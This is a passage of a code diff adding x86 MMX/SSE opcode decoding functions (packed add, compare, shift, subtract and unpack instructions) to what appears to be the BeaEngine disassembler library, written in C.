1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusb "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f dd + * ==================================================================== */ +void __bea_callspec__ paddusw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusw "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "paddusw "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f db + * ==================================================================== */ +void __bea_callspec__ pand_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+LOGICAL_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pand "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pand "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} +/* ==================================================================== + * 0x 0f df + * ==================================================================== */ +void __bea_callspec__ pandn_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+LOGICAL_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pandn "); + #endif + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pandn "); + #endif + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 74 + * ==================================================================== */ +void __bea_callspec__ pcmpeqb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+COMPARISON_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 75 + * ==================================================================== */ +void __bea_callspec__ pcmpeqw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+COMPARISON_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 76 + * ==================================================================== */ +void __bea_callspec__ pcmpeqd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+COMPARISON_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpeqd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 64 + * ==================================================================== */ +void __bea_callspec__ pcmpgtb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+COMPARISON_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 65 + * ==================================================================== */ +void __bea_callspec__ pcmpgtw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+COMPARISON_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 66 + * ==================================================================== */ +void __bea_callspec__ pcmpgtd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+COMPARISON_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pcmpgtd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f e5 + * ==================================================================== */ +void __bea_callspec__ pmulhw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmulhw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d5 + * ==================================================================== */ +void __bea_callspec__ pmullw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmullw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmullw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f f5 + * ==================================================================== */ +void __bea_callspec__ pmaddwd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddwd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pmaddwd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f eb + * ==================================================================== */ +void __bea_callspec__ por_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+LOGICAL_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "por "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "por "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f f1 + * ==================================================================== */ +void __bea_callspec__ psllw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f f2 + * ==================================================================== */ +void __bea_callspec__ pslld_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pslld "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f f3 + * ==================================================================== */ +void __bea_callspec__ psllq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psllq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d1 + * ==================================================================== */ +void __bea_callspec__ psrlw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d2 + * ==================================================================== */ +void __bea_callspec__ psrld_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d3 + * ==================================================================== */ +void __bea_callspec__ psrlq_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f e1 + * ==================================================================== */ +void __bea_callspec__ psraw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f e2 + * ==================================================================== */ +void __bea_callspec__ psrad_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+SHIFT_ROTATE; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f f8 + * ==================================================================== */ +void __bea_callspec__ psubb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f f9 + * ==================================================================== */ +void __bea_callspec__ psubw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f fa + * ==================================================================== */ +void __bea_callspec__ psubd_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubd "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f e8 + * ==================================================================== */ +void __bea_callspec__ psubsb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f e9 + * ==================================================================== */ +void __bea_callspec__ psubsw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d8 + * ==================================================================== */ +void __bea_callspec__ psubusb_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusb "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f d9 + * ==================================================================== */ +void __bea_callspec__ psubusw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+ARITHMETIC_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.SSE_ = 1; + GxEx(pMyDisasm); + GV.SSE_ = 0; + } + else { + GV.MemDecoration = Arg2qword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusw "); + #endif + (*pMyDisasm).Argument1.AccessMode = READ; + GV.MMX_ = 1; + GxEx(pMyDisasm); + GV.MMX_ = 0; + } +} + +/* ==================================================================== + * 0x 0f 68 + * ==================================================================== */ +void __bea_callspec__ punpckhbw_(PDISASM pMyDisasm) +{ + (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION+CONVERSION_INSTRUCTION; + /* ========== 0x66 */ + if ((*pMyDisasm).Prefix.OperandSize == InUsePrefix) { + GV.OperandSize = GV.OriginalOperandSize; + (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix; + GV.MemDecoration = Arg2dqword; + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy 